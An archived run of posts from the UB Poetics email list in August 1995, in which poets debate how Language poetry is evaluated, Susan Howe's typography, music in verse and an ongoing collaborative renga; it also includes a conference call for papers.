> poetry written in meter and rhyme has been written in every decade of this
> century by important poets--Adrienne Rich, John Ashbery, et al. It isn't
> new, or for that matter old.
> I am neither a Puritan nor a father. I did not ask that anyone be
> sacrificed, let alone Susan Howe, whose poetry I haven't read. Susan Dunn
> objects to an alleged scapegoating, but in doing so scapegoats CAP-L in
> general and me in particular. I was interested to hear Ron Silliman's
> views on Howe, though I wish he had been fuller in his comments; "tepid"
> doesn't convey much to me, and citing particular texts would have been
> more useful. I also can't believe that she is the only (*if* she is) bad
> Language poet. Are there others? And which ones are the very best--and
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> When Ron Silliman began posting about LP on CAP-L, I and others
> raised the question of how it was evaluated, what criteria were brought to
> it in order to decide what was good and what was bad. If we can't be told
> that, we can never learn what conventions govern the poetry and can never
> become competent readers of it. If LP is interested in a wider audience,
> I don't see the point of neglecting to explain its criteria. Some of you
> are teachers, and if you're good ones, you know that sneering and
> scapegoating aren't effective as teaching methods. Calm, undefensive,
cogent
> (and exciting) exposition is what works.
>
> Alfred Corn

hello alfred corn --i've posted several times to poetics to the effect that i take fairly seriously Robert Duncan's dictum that there are no good or bad poems. this i hold true for just about every "school" of poetry. i wd not teach a class in poetry by offering, for example, a "good" and "bad" example from each "school." it's an intriguing idea, but it's simply never crossed my mind. even after thinking it over, it strikes me that to learn to evaluate a product is somewhat like backing into a process backasswards as it were, no disrespect intended, but to start from a position of judgment is not, i think, the most effective way to open someone's mind. it shuts down process, and leaps to a critical appraisal of product --how intimidating to someone trying to learn to read or practice. maybe i'm a sentimental patsy, but openness, to me, is always a better approach to learning. rather than asking for an example of a "bad" language poet, why not ask us how, for instance, we would "read" a given text? too bad you missed gary sullivan --he posted some stunning close readings of initially opaque texts that were useful paradidms for learning to read. and they didn't

involve ranking poetry, poems and poets in a meritocratic economy.
respectfully--md

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730. **Jordan Davis.**
non music anon
Wed 23 Aug 1995

I'm not surprised to see "their" idea of musical

But then what often has been described as "musical" in verse has simply been lines that don't have any harsh sounds & there's certainly plenty that's literally musical that has those.

privileged here. I think a discussion of John Taggart/Susan Howe/Bruce Andrews/Ron Padgett is in order, in re music of the line. Taggart it seems plays off repetition as musicality, Zorn is Andrews' ideal, Padgett approves of cleanliness of syntax and vocabulary, and Howe goes for the glorious combinations. OR, those are the commonplaces about those authors. Music is never commonplace. Nor is it ONLY the articulation of sound forms in time. As long as there is an audience (renga=audience) there are emotional characterizations and attributions from that audience. What I like most about "our" poetry is the music (when it's there). I certainly don't care about anybody's "meanings" except insofar as they add to or detract from the music. I'm not looking for limits, thanks. Dr & Mrs Corn suggest (in reverse) an interesting topic: what it is we like about "our" poetries. Philosophy and poetics should be (I think) free of bad feelings. Originators of exclusion beware! I would love to see more frequent cogent praises of musics (and I apologize for the music of that request).

Your humble admirer
Jordan

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731. **Jordan Davis.**
now words/cognitive dissonance
Wed 23 Aug 1995

---

what is
language if it ain't a fact?

language is words

and language is talking

and something else

But don't confuse me with the facts

Jordan

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732. Aldon L. Nielsen
Re: nadir of the W
Wed 23 Aug 1995

I'm more than a little puzzled by the reluctance to define the word "spirituality" combined with an insistent usage of that word.

Perhaps that is the defining instance of the spiritual???

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733. Aldon L. Nielsen
Re: the renga that took the place of itself
Wed 23 Aug 1995

---

also puzzled by some of our reactions to the renga in progress (including my own) -- that is, a sort of impatience that differs in interesting respects from our readings of printed volumes seems to be at work -- we (by which I mean me) read much longer, and far worse, printed texts without grousing, but the iterated and reitrated form seems to play a part in the impatience of some on the list -- that is, maybe _Cantos_ would be more disturbing yet if, instead of constantly interrupting itself, it constantly interrupted whatever otehr communication acts we were involved in at the time -- (as it does to those of us who have read it)

-- & the composer I invariably think of while reading language poetry is Louis Armstrong -- but I'm tight like that --

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734. Joseph Zitt
Re: mormon in the armoire
Wed 23 Aug 1995

On 22 Aug 95 at 21:06, Sheila E. Murphy wrote:

> >In message <[redacted]> UB Poetics discussion
> >group writes:
> >> >> >>>>>>>> In the books were dreams and in the dreams were books.
> >> >> >>>>>>>>>> And flew through windows, lightning green and fine morning

> >> >> >>>>>>>>>>> First inverted whistle of a cardinal in the poplar
> >> >> >>>>>>>>>>> The book and the oboe on the grass under sun and cloud
> >> >> >>>>>>>>>>> Go endlessly, an obtuse Prussian blue, it binds
> >> >> >>>>>>>>>>> The caravan of windows to what they flee
> >> >> >>>>>>>>>>> These lace curtains, more gauze than bondage, more
> >> >> >>>>>>>>>>> Mollycoddled than aware, thin-spined and pebbling
> >> >> >>>>>>>>>>> but narrow in the waist or waspish Sunday years ago
> >> >> >>>>>>>>>>> Over coffee topped with whipped cream, the Times blowing
> >> >> >>>>>>>>>>> & opining, heavy humid air, cumulus amusing against the
> >> >> >>>>>>>>>>> bleached ribcage ripcorded into compassed wind
> >> >> >>>>>>>>>>> kissing the weatherwoman between her breasts as she
> >> >> >>>>>>>>>>> gives gracious problem: fanatical snacks, landscape of
> >> >> >>>>>>>>>>> flicka my best friend and the storm in the glass of water's
> >> >> >>>>>>>>>>> halfway pertinent incision we keep making safe for ignorance
> >> >> >>>>>>>>>>> (inspection
> >> >> >>>>>>>>>>> denied for not knowing how credenza was meant) & neo-colonizing
> >> >> >>>>>>>>>>> pockets in small furniture intended house sequentially several
> >> >> >>>>>>>>>>> mountains away but it wasn't, you know, a big tango
> >> >> >>>>>>>>>>> when the attorney general came, selah hales said, "Dias, oh,ho,
> >> >> >>>>>>>>>>> kook!"
> >> >> >>>>>>>>>>> Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
> >> >> >>>>>>>>>>> warehouse, curls
> >> >> >>>>>>>>>>> no ideas but the woven fabric the texture so to speak was at
> >> the dr
> >> >y
> >> >> >>>>>>>>>>> cleaners
> >> >> >>>>>>>>>>> piping hot and gloved-in somewhere unsalted, perched on
> >> prescience
> >> >> >>>>>>>>>>> the chair is sad, alas, and i've lusted tootles' livers

> >> >> >>>>>>>>>>> the odor day toy a cello day dis chevys a bo coo daughter chose
> >> >> encore
> >> >> >>>>>>>>>>> Flaubert because we're waiting all throughout eternity for
> >> moments
> >> >> >>to be
> >> >> >>>>>>>>>>> of such suchness. In the nooks were creams and in the streams
> >> were
> >> >> >>hooks
> >> >> >>>.
> >> >> >>>>>>>>>>> All melded like striated film leftover in the pastel seeds of
> >> >> darkness
> >> >> >>>>>>>>>>> falling like a counterirritant around the manchineel. Likewise
> >> >> >>>>>>>>>>> sandpaper juxtaposed with seasoned instruments and recently
> >> soft
> >> >> fruit
> >> >> >>>>>>>>>>> of subject's object status, violent transformation
> >> >> >>>>>>>>> la Ste. Therese into beaming cumulus apokoinu switchback
> >> >> >>>>>>>>>and in the u-turns were bookmobiles rounding angles considered
> >> >> >>>>>>>>shrill as pine left in the acres to be aging
> >> >> >>>>>>>flawlessly, flutes sing genderless in trio, surprised
> >> >> >>>>>>by how quiet effort really is or is not, fast enough to sleep
> >> >> >>>>>through thunderstorms, arm over thigh until light shakes
> >> >> >>>>petals free of names that rain across known skin forgotten
> >> >> >>>other than prints, trace free of cloth, slow memory night
> >> >> >>with customs planted in them to retract what almost fastens onto
> >> >> >the unhinged wing of night's stern and contracted falsity
> >> >> as blessed glass retracts whatever mule the heart
> >> > beats. In the ensuing silence, her eyes turn from white space
> >> to a purer white described without even a thought and carried to another
> >> plasm, another phone call from the regional director
> >of miasmal blankness, white to the core of whiteness only
> wafts to the color in principio which self erases
golden sections of no-mind shining
---------1---------1---------1---------1---------1---------1----------

|||/ Joseph Zitt ==== [redacted] ===== Human Systems \|||
||/ Organizer, SILENCE: The John Cage Mailing List \||
|/ Online Representative, Austin International Poetry Festival \|
/ <A HREF="http://www.realtime.net/~jzitt/"> Joe Zitt's Home Page</A>\

↑ Index

735. **Joseph Zitt**
Re: Value/genius in/with trouble/Poetry
Wed 23 Aug 1995

On 23 Aug 95 at 7:37, Herb Levy wrote:

> *Even most of the more mainstream poets, including some who may still be interested in heroics, seem largely to have given on the idea of a big, big masterpiece.*

Do you mean that people have stopped doing huge pieces, or that an equation of the hugeness of a piece with its value which once existed has gone away? Some of us are still working on big, big pieces -- I've got one in progress that will run 668 pages (I know this ahead of time due to the chance operations that pre-structured it), and Ron's still in the midst of his "The Alphabet" (I don't know what others are up to on the big projects front -- is Armand Schwerner still writing Tablets?).

---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ==== [redacted] ===== Human Systems \||| ||/ Organizer, SILENCE: The John Cage Mailing List \|| |/ Online Representative, Austin International Poetry Festival \| / <A HREF="http://www.realtime.net/~jzitt/"> Joe Zitt's Home Page</A>\

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736. **Keith Tuma**
Re: your mail
Wed 23 Aug 1995

I was prepared to contest the premises of Alfred Corn's questions regarding criteria and evaluation--just as some earlier (myself included) had seen fit to question a rhetorical model where one post can "change a mind" and perhaps also the idea that metaphors are "revealing." But I think that David Kellogg and Maria Damon have already done that--and on the contested nature of criteria one might refer to Barbara H. Smith's _The Contingencies of Value_. If Corn has recently become a kind of ghost on this list, he seems to me a friendly ghost, and I want to say a few things in his defense. It seems to me that there is a need in the "experimental" poetry community for direct and detailed statements of "personal"--if you will--value and preferences, tastes (not that these need be

singular or static). Perhaps because of the way langpo emerged and the climate it emerged in, much langpo prose has been given over to the criticism of other prevailing modes of poetry--the so-called "mainstream"--or to a kind of blanket advocacy where the names of the elect are rehearsed. Or, in some cases, for political and "theoretical" reasons, evaluation is itself questioned or rejected--Charles B, for one, sometimes seems to me given to listing rather than explaining his preferences, and I don't doubt for a second that he has reasons. But there has been comparatively little critical prose by langpo writers not directed primarily at "others"--at least until recently, as the case of Bob Perelman's book(s) demonstrates, along with Ron Silliman's recent remark about Susan Howe. This makes perfect sense to me: one must first clear a little space, no? (This was part of Alan Golding's point.) Were things any different in, say, Robert Pinsky's _The Situation of Poetry_, where he worked to clear space for Frank Bidart, Jim McMichael and others? But it seems to me that now IS the time for the langpo crowd to begin working on their own _A Test of Poetry_ and, ideally, the range of their attention will be at least as expansive as Zukofsky's. This is not just a matter of expanding an audience but of clarifying what might be meant by surprise, striking sound patterns,engagement with history--etc etc (Kellogg's list could of course be expanded a good deal)--in a proliferation of examples arranged in provovative juxtaposition. Such examples need not be ranked good and bad and--if it's possible to be open-minded at least a little--the commentary might follow the examples. Of course finding publishers for such books--there should be a good number of them--will be difficult, which probably brings us back to the point where what used to be--perhaps--a "movement" (langpo) started.

On another note, I'm hoping that Silliman's remarks won't be enough to keep Alfred Corn from reading Susan Howe.

Keith Tuma

↑ Index

737. **Gwyn McVay**
Re: How Hear Howe?
Wed 23 Aug 1995

Gale, I was interested in your comments about the difficulty of typesetting Susan Howe's work from typescript. When she was a visiting writer at my university about a year ago, one of the most seminal (ovarian?) things, to me, that she stressed, was the notion of older poets' giving younger ones a kind of permission. Could the proliferation of typesetting programs like Quark XPress lead to a greater sense of possibility for the rest of us in regard to some of Howe's visual techniques like superimposed and rotated lines? I'm thinking of

Eikon Basilike probably more than, say, _Articulation of Sound Forms in Time._

Gwyn

↑ Index

738. Charles Bernstein
ACLA Call for Papers on Lit. betw. Phil & Cultural Studies
Wed 23 Aug 1995

ACLA '96
CALL FOR PAPERS

LITERATURE BETWEEN PHILOSOPHY AND CULTURAL STUDIES

American Comparative Literature Association
University of Notre Dame
April 11-13, 1996

> Keynote Speakers
> Rodolphe Gasche, Elizabeth Grosz, David Lloyd
> Poetry Reading
> Lyn Hejinian, John Matthias

While cultural studies and continental philosophy/poststructuralism might be regarded as two mutually exclusive paradigms, this conference will explore how the intersections between them can open new productive possibilities for literary and comparative studies. Toward this end we propose to interrogate the following set of issues:

Rethinking Modernity: Literature/Philosophy/Culture * Cultural Significance of Poststructuralist Theory: Derrida, Irigaray, Lyotard * Feminism: Between Philosophy and Cultural Studies * Sexualities, "Racial" Identities, and Queer Theory * Cultural and Ethical Figures of Otherness * Post Enlightenment Philosophies, Pre-Enlightenment Literatures * National Identities/Comparative Literatures/Postcolonial Studies * History/Event/Practice: Nietzsche, Heidegger, Foucault * Models of Culture in Cultural Studies and Deconstruction * Cultural Studies: Without Philosophy? * Psychoanalysis, Film, and Contemporary Philosophy * Philosophers Reading Poets/Poets Reading Philosophers *

Papers and panels on other topics related to the theme of the conference are welcome. Papers should be no longer than 3000 words; paper proposals approximately 250 words. Panel proposals must include: title, chairperson, the proposal of 250 words for the panel and a complete set of papers or proposals. Deadline for submissions: October 15, 1995.

Address submissions and inquiries to:
Krzysztof Ziarek
Department of English
356 O'Shaughnessy Hall
University of Notre Dame
Notre Dame, IN 46556-5639
tel. [redacted]
fax [redacted]
or by email to: [redacted]

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739. **Sheila E. Murphy**

Re: favourite care word: "you"

Wed 23 Aug 1995

Charles Alexander wrote:
>On Tue, 22 Aug 1995 20:26:46 -0500,
>Maria Damon <[redacted]> wrote:
>
>>In message <[redacted]> UB Poetics discussion group writes:
>>> On Tue, 22 Aug 1995 09:26:46 -0500,
>>> maria damon <[redacted]> wrote:
>>>
>>> >In message <[redacted]> UB Poetics discussion
>>> > grou
>>> p
>>> >writes:
>>> >> > [D
>>> >> >> >>>>>>>> In the books were dreams and in the dreams were books.
>>> >> >> >>>>>>>>>> And flew through windows, lightning green and fine morning
>>> >> >> >>>>>>>>>> First inverted whistle of a cardinal in the poplar
>>> >> >> >>>>>>>>>> The book and the oboe on the grass under sun and cloud
>>> >> >> >>>>>>>>>> Go endlessly, an obtuse Prussian blue, it binds
>>> >> >> >>>>>>>>>> The caravan of windows to what they flee
>>> >> >> >>>>>>>>>> These lace curtains, more gauze than bondage, more
>>> >> >> >>>>>>>>>> Mollycoddled than aware, thin-spined and pebbling
>>> >> >> >>>>>>>>>> but narrow in the waist or waspish Sunday years

ago
>>> >> >> >>>>>>>>>> Over coffee topped with whipped cream, the Times blowing
>>> >> >> >>>>>>>>>> & opining, heavy humid air, cumulus amusing against the
>>> >> >> >>>>>>>>>> bleached ribcage ripcorded into compassed wind
>>> >> >> >>>>>>>>>> kissing the weatherwoman between her breasts as she
>>> >> >> >>>>>>>>>> gives gracious problem: fanatical snacks, landscape of
>>> >> >> >>>>>>>>>> flicka my best friend and the storm in the glass of water's
>>> >> >> >>>>>>>>>> halfway pertinent incision we keep making safe for
ignorance
>>> >> >> >>>>>>>>>> (inspection
>>> >> >> >>>>>>>>>> denied for not knowing how credenza was meant) &
>>> > > > neo-colonizing
>>> >> >> >>>>>>>>>> pockets in small furniture intended house sequentially
>>> > > > several
>>> >> >> >>>>>>>>>> mountains away but it wasn't, you know, a big tango
>>> >> >> >>>>>>>>>> when the attorney general came, selah hales said, "Dias,
>>> > > > oh,ho,
>>> >> >> >>>>>>>>>> kook!"
>>> >> >> >>>>>>>>>> Edward Kennedy Ellington! "Tootin' Through the Roof"
Tobacco
>>> >> >> >>>>>>>>>> warehouse, curls
>>> >> >> >>>>>>>>>> no ideas but the woven fabric the texture so to speak
was at
>>> >> > > the
>>> >> >dry
>>> >> >> >>>>>>>>>> cleaners
>>> >> >> >>>>>>>>>> piping hot and gloved-in somewhere unsalted, perched on
>>> >> >prescience
>>> >> >> >>>>>>>>>> the chair is sad, alas, and i've lusted tootles'

livers
>>> >> >> >>>>>>>>>> the odor day toy a cello day dis chevys a bo coo daughter
>>> > > > chose
>>> >> >> encore
>>> >> >> >>>>>>>>>> Flaubert because we're waiting all throughout eternity for
>>> >> >moments
>>> >> >> >>to be
>>> >> >> >>>>>>>>>> of such suchness. In the nooks were creams and in the
>>> > > > streams
>>> >> >were
>>> >> >> >>hooks
>>> >> >> >>>.
>>> >> >> >>>>>>>>>> All melded like striated film leftover in the pastel seeds
>>> > > > of
>>> >> >> darkness
>>> >> >> >>>>>>>>>> falling like a counterirritant around the manchineel.
>>> > > > Likewise
>>> >> >> >>>>>>>>>> sandpaper juxtaposed with seasoned instruments and recently
>>> >> > > soft
>>> >> >> fruit
>>> >> >> >>>>>>>>>> of subject's object status, violent transformation
>>> >> >> >>>>>>>>> la Ste. Therese into beaming cumulus apokoinu switchback
>>> >> >> >>>>>>>>>and in the u-turns were bookmobiles rounding angles
considered
>>> >> >> >>>>>>>>shrill as pine left in the acres to be aging
>>> >> >> >>>>>>>flawlessly, flutes sing genderless in trio, surprised
>>> >> >> >>>>>>by how quiet effort really is or is not, fast enough to sleep
>>> >> >> >>>>>through thunderstorms, arm over thigh until light shakes
>>> >> >> >>>>petals free of names that rain across known skin forgotten
>>> >> >> >>>other than prints, trace free of cloth, slow memory night
>>> >> >> >>with customs planted in them to retract what almost fastens onto
>>> >> >> >the unhinged wing of night's stern and contracted falsity

>>> >> >> as blessed glass retracts whatever mule the heart
>>> >> >> beats. In the ensuing silence, her eyes turn from white space
>>> >> >and silos yield rainbows. Combines circle the outlying
>>> >> premises as substantive as crayons now confused with thought
>>> >whose rainbows rival cosmic immensities to the tune of
>>> I'm not biting on this, Maria, no matter how you sing it
>>oy, i get reprimanded in public for my lines, my worst POETICS nightmare
>is on hold, would you care to dance while we're waiting, save me
the friction of a cushion to inflate, support, revere

↑ Index

740. Tony Green
Re: the renga that took the place of itself
Wed 23 Aug 1995

---

irritant renga -- yes scanning the fairly familiar yards of it until down , holding mouse button, to the unfmilair, the new line. Gee all the way through this text again and again like a partridge in a pear-tree building and building. It's the time it takes. It's that time in which the programme runs so long that you don't know what's happened to the ads. I like it.

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

↑ Index

741. Steve Carll
Re: Wallace who?
Thu 24 Aug 1995

Jordan asks:
>List at large
>Is there really an avantgarde tradition in North America totally unaware of
>Wallace Stevens?

Yes, but by strange coincidence (OR IS IT?!) the movement calls itself "The Emporers of Ice Cream" and its logo is a clam playing an accordian.

Steve

↑ Index

742. Lindz Williamson
Re: the renga that took the place of itself
Thu 24 Aug 1995

On Thu, 24 Aug 1995, Tony Green wrote:

> *irritant renga -- yes scanning the fairly familiar yards of it until down , holding mouse button, to the unfmilair, the new line. Gee all the way through this text again and again like a partridge in a pear-tree building and building. It's the time it takes. It's that time in which the programme runs so long that you don't know what's happened to the ads. I like it.*

Yes, it is the time, and some of us can only afford so much of it. I only receive ten hours of net time a month. Three quarters of it is spent doing email reading, replying and deleting. I like this list because I'm always learning new stuff. I'm being introduced to worlds of poetics I'd never experienced, but renga is not one that I am enjoying. It was fun for awhile, but it's like beating a dead horse (to use a cliche). However I know other people still like it so could we come up with a code word as a heading for rengas so I don't have to look at them. I always find myself becoming intrigued by interesting titles and then cursing as I find out it's renga. For those of you who use the digest mode, you have my condolences.

Lindz

↑ Index

743. Tenney Nathanson
Re: POETICS Digest - 22 Aug 1995 to 23 Aug 1995
Thu 24 Aug 1995

> *Date: Wed, 23 Aug 1995 11:36:54 -0400*
> *From: David Kellogg <[redacted]>*
> *Subject: Perelman's forthcoming and recent*
>
> *Bob Perelman does seem to be prolific these days! Can anybody provide publication information on his forthcoming critical book(s)? Are there one or two?*

: I think there's just one critical book coming out, on LangPo from Princeton. Meanwhile a chunk of it (the fairly harsh essay on Andrews mentioned a couple days ago by someone) can be read in a recent (number provided if desired) issue of Arizona Quarterly.

Another recent issue, btw, offers hardcopy version of the Bernstein piece on "mainstream" poetry vs. the (e)mag world of "alternative" journals and books--the essay that's also downloadable via EPC.

↑ Index

744. beard

Howe Now Brown ... / writer or written?

Thu 24 Aug 1995

> *how do you know that those writers of "inferior verse" (as the dictionary defines d.) don't experience themselves to be struggling, searching, saying something that has never been said, engaged in a deeper questioning...--md*

I suppose we can't know. The question is - do we care?

One's evaluation of a poem comes from one's _own_ encounter with the text, not from an assumption of the _writer's_ experiences. A banal fragment of writing might interact with my experiences, my concerns, and the context within which I find it, and hence become meaningful and evocative. On the other hand, a sincere piece of writing from someone who believes that he or she is really "engaged in a deeper questioning" can bore me senseless if it doesn't provoke _me_ to "struggling, searching" or whatever.

I'm not coming at this from a theoretical perspective of "The Death of the Author", but simply from a reader's viewpoint. Wearing my critic's hat, I might be willing to give a writer "marks for effort", but as a reader, a "consumer", of poetry, I want something more. I want stimulation, challenge, enjoyment, sensuality, wit and intelligence. Above all, I want excellence.

It doesn't matter whether a piece of writing was written by a "great poet", a struggling poetaster, a cynically manipulative ad agency or a computer program. What matters is the poem, and what that poem triggers off in the reader. If enough readers find that a poem triggers no response with them, or in other words, fails to make the readers "experience themselves to be struggling, searching, saying something that has never been said, engaged in a deeper questioning," then those readers call that poem "doggerel".

If this sounds selfish, then it is. Readers _are_ selfish - they've paid $19.95 or whatever for a 30-page volume of poems, and they want something back. Unless one is paid to read poetry (which I guess a few people here are ...), then one doesn't want to waste one's time reading doggerel.

Tom Beard.

| [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://metcon.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

↑ Index

745. **George Bowering**
Re: your mail
Thu 24 Aug 1995

It was interesting to read that strange letter from Corn. (Is he a well-known poet in the US?) I mean to hear language that comes out of assumptions that are so much different from the ones one has been assuming all these years. Foir example, the use of the word "rhyme"--Mr Corn seems to use the word to mean some kind of end-rime, which I must admit I have heard elsewhere, but not from a poet, as far as I know. As to "meter"--I was unaware that that term, which I have always heard used to discuss poems by Milton, say, or Shakespeare, was used by or about poets this half-century at least. One must have noticed his asking about the "conventions that govern" contemporary poetry. Is he really of a mind to support those two terms, especially the verb? The idea of governing poetry is as odd as the idea of "mastering" words, it seems to me. But it is an eye-opener to hear that there are poets (if Corn is representative of some larger order) who think that way. The crossing of the BuffNet and that (is it) CAP-L list might be really interesting. What does CAP-L (I mean the title) stand for?

↑ Index

746. **George Bowering**
Re: Language Poetry and Music
Thu 24 Aug 1995

I was certainly hoping that Herb & others knew that when I referred to those who equate music with lyric poetry, I was distancing myself from them . . . . All my life my mother and sister and wife and dogs and friends have been listening to my records and claiming that what was coming out was not music.

↑ Index

747. **Chris Stroffolino**
Re: Wallace who?
Thu 24 Aug 1995

Steve Carll--thanks for the stevens reference to surrealism (to make a clam play acordion is to invent and not discover), yet i wonder if stevens' problem with surrealism wasn't also its CONVULSIVE BEAUTY-- its chance meeting,

and in this sense Dickinson can be said to be more like Surrealism than stevens (though stevens has "the sound of two words that clash" sic?)---For instance, Stevens: It is not every day the world arranges itself into a poem. vs. Dickinson: A word made flesh is seldom and tremblingly partook--- and to what extent does TONE matter more than meaning? the tone of tone? cs

↑ Index

748. **Ron Silliman**
Re: Howe Now, Brown Formalist (and Bob Perelman too)
Thu 24 Aug 1995

Maria,

to your question re
"doggerel stalinists" is so contemptuous
>that i feel my own work indicted. personally, i love doggerel,

Me too, as I think my work in several places makes quite clear, particularly if one includes childhood rhymes, tho I would be as apt to cite Duncan as Stein for that influence (not to mention Seuss and P.D. Eastman and Carroll)

how do you know that those writers of "inferior verse" (as the
>dictionary defines d.) don't experience themselves to be struggling, searching, saying something that has never been said, engaged in a deeper questioning...--md
>
I don't. The great value of Cary's book--for my money the single best critical volume on 20th C. poetry that exists--is that he begins deliberately with the "most despised" of all genres and from that point builds a description of poetry as community that extends outward in all directions to include pretty much everything that was written. Thus he can discuss how Pound's work found itself in socialist newspapers of the 1930s (at a point when EP himself had already begun his fascination with Il Duce).

Ron

↑ Index

749. **Ron Silliman**
Re: Language Poetry and Music
Thu 24 Aug 1995

Alan writes:
>
>How exactly do these people connect with language poetry, beyond the

fact that perhaps you like their work?
>

I don't want to make any large claims (and "liking their work" seems fine to me), but I do think that virtually all pose either formal (gamelan, Reich, Partch, ROVA) and/or social (Guthrie, ROVA again, Partch again, Brecht) models for relating their work to the world that have had powerful impacts on me.

One might make any kind of systematic correlation I suppose, or build a model on some such idea as "mode of liner note," alternating between such options as "early Dylan faux poetry" or "dense Braxton scientistic jargon"-- but that's the attraction that models always hold. The world itself is more complex.

↑ Index

750. **Ron Silliman**
Re: your mail
Thu 24 Aug 1995

---

it was clear from his post that he was referring to questions
>of personal taste, not to Howe's "goodness" or "badness" as a poet.

Amen!

↑ Index

751. **Ron Silliman**
Re: your mail
Thu 24 Aug 1995

Alfred Corn has quite a few books, going back to 1976 (he was born in '43, which places him mid-G1 in Steve Evans' old model), teaches at Columbia, sometimes writes on homosexuality for The Nation, has won the Blumenthal and Levinson prizes from Poetry Magazine and a prize from the American Academy.

↑ Index

752. **Michael Boughn**
Re: nadir of the W
Thu 24 Aug 1995

> *I'm more than a little puzzled by the reluctance to define the word "spirituality" combined with an insistent usage of that word.*
>
> *Perhaps that is the defining instance of the spiritual???*

As used in the recent context here, I think of it more in the terms William Blake proposed when he argued someone can be simultaneously your corporeal friend and your spiritual enemy.

↑ Index

753. **Michael Boughn**
Re: now words/cognitive dissonance
Thu 24 Aug 1995

> *what is*
> *language if it ain't a fact?*
>
> *language is words*
>
> *and language is talking*
>
> *and something else*
>
> *But don't confuse me with the facts*
>
> *Jordan*

But my habitation is precisely a confusion of facts irritably reaching after a fine isolated verisimilitude caught from the penetralium of mystery. I think. Or was that Coleridge? Or Olson? Anyway, we definitely had lunch on Thursday.

Best,
Mike

↑ Index

754. **Jordan Davis.**
tone of tone
Thu 24 Aug 1995

---

to what extent does TONE matter more than meaning? the tone of tone? asks cs

well you catch tone (or what you think is the tone) before you catch the meaning? as in, everybody under the age of 30 interviewed on NPR ends declarative statements with a rising inflection? so you think nobody born after 1965 is sure of anything?

Jordan

↑ Index

755. **Gale Nelson**

Re: How Hear Howe?

Thu 24 Aug 1995

Gwyn,

Had Quark Xpress existed (or had I known of it were it to have existed) when we were working on "A Bibliography..." I probably would have tried to use it (and may have had good results). As it was, I used a system called Script, which was available via a mainframe computer. To raise and lower letters, I had to precede them with commands that looked something like &S'. (to raise) and &s'. (to lower). These commands were intended for the creation of foot notes in scholarly papers. So, on screen the descending "steps" on the page would have looked something like:

```
.il 3
&S's.t&s'e
.il 4
 &S'p.s
```

To get overlapping text, I pasted up two separate sheets that were then made into a composite by the printer (yes, reviewing the blue lines was a crucial process -- Thomson-Shore did a wonderful job).

Having completed this job, I _did_ feel liberated by having lived within (or, more to the point, nearly within) Susan's text world. Since that time, I have done some spatial playing, most commonly by combining text and copier "effects." While Susan's book is clearly not the first one to explore visual elements in remarkable ways, hers was vital for me because of my extended contact with it.

When going over the page galleys, Susan was passionate about how the book would look because the questions of spacing were relevant to what information the reader would gain (or lose) depending on presentation. As many know, she has thought long and hard about what Emily Dickinson's work could/should look like in print. She also spoke of having seen first editions of Wallace Stevens' books -- and how he used space in them was reevelatory to her. I'm just back from a quick trip to London, and while there, her comments about Stevens resonated. I saw (but could not afford) first edition William Carlos Williams' books -- the poems looked and sounded even more remarkable, simply because of the presentation.

I hope that we (a generation growing up with poets like Susan Howe as north stars for the potential within experimentation) can feel liberated.

Cheers,

Gale

↑ Index

756. **maria damon**
Re: How Hear Howe?
Thu 24 Aug 1995

---

gwyn the girl writes:
>... seminal (ovarian?) ...
>
> Gwyn

how 'bout germinal?

↑ Index

757. **maria damon**
Re: the renga that took the place of itself
Thu 24 Aug 1995

---

lindz the girl writes:
> ... could we come up with a code
> word as a heading for rengas so I don't have to look at them.
>
> Lindz

good idea: how 'bout RENGA?--md

↑ Index

758. **maria damon**
Re: Language Poetry and Music
Thu 24 Aug 1995

---

george b writes:
> I was certainly hoping that Herb & others knew that when I referred
> to those who equate music with lyric poetry, I was distancing myself
> from them . . . .
> All my life my mother and sister and wife and dogs and friends have
> been listening to my records and claiming that what was coming out
> was not music.

really? all your female relatives? none of your male relatives? can you explain this phenomenon?--md

↑ Index

759. **maria damon**
Re: Howe Now, Brown Formalist (and Bob Perelman too)
Thu 24 Aug 1995

---

ron s writes:
> Maria,
>
> to your question re
> "doggerel stalinists" is so contemptuous
> >that i feel my own work indicted. personally, i love doggerel,
>
> Me too, as I think my work in several places makes quite clear,
> particularly if one includes childhood rhymes, tho I would be as apt to
> cite Duncan as Stein for that influence (not to mention Seuss and P.D.
> Eastman and Carroll)
>
> how do you know that those writers of "inferior verse" (as the
> >dictionary defines d.) don't experience themselves to be struggling,
> searching, saying something that has never been said, engaged in a
> deeper questioning...--md
> >
> I don't. The great value of Cary's book--for my money the single best
> critical volume on 20th C. poetry that exists--is that he begins
> deliberately with the "most despised" of all genres and from that point
> builds a description of poetry as community that extends outward in all
> directions to include pretty much everything that was written. Thus he
> can discuss how Pound's work found itself in socialist newspapers of
> the 1930s (at a point when EP himself had already begun his fascination
> with Il Duce).
>
> Ron

thanks for the clarification. i too like cary's project, tho i think the book claims too much for itself as paradigm-breaking (a typical academic pitfall), and, in fact, is primarily a rich bibliography. --md

↑ Index

760. **maria damon**
Re: commercial e-mail accounts
Thu 24 Aug 1995

I have a general and pragmatic question. as of sept 1, i'll be on the cape, as i sd, on sabbatical, and am looking for the "best" (ie cheapest for most time)

commercial e-mail account i can find, since it's impractical (ie unnecessarily expensive) to stay on my umn account for the yr. It seems that people here write on a variety of commercial accounts; can you give me the benefit of your research and experience and advise me which you recommend? or, alternately, (esp chris funk) does anyone know of any cape-based systems (WHOI, MBL) i could join?

thanks in advance,
md

↑ Index

761. **Gwyn McVay**
Re: How Hear Howe?
Thu 24 Aug 1995

Gale,

One of the other very interesting/revelatory parts of having Howe in workshop (one of the 19,778 interesting parts!) was learning that she had started her creative career as a visual artist. Rereading _Eikon Basilike_ or _Defenestration of Prague_ with that knowledge, it was enlightening to see how that visual style informed the presentation of her work. I think when you read Howe, your eyes are like a laser, simultaneously scanning and imprinting. Or maybe I've just been sitting behind a Macintosh too long.

Quark XPress makes it easy to flip, rotate, angle, skew, superimpose, and otherwise deform/inform text--a boon to the experimenter.

Gwyn

↑ Index

762. **Susan Schultz**
Criteria (fwd)
Thu 24 Aug 1995

---------- Forwarded message ----------
Date: Thu, 24 Aug 1995 07:39:29 -1000 (HST)
From: Susan Schultz <[redacted]>
To: [redacted]
Subject: Criteria (fwd)

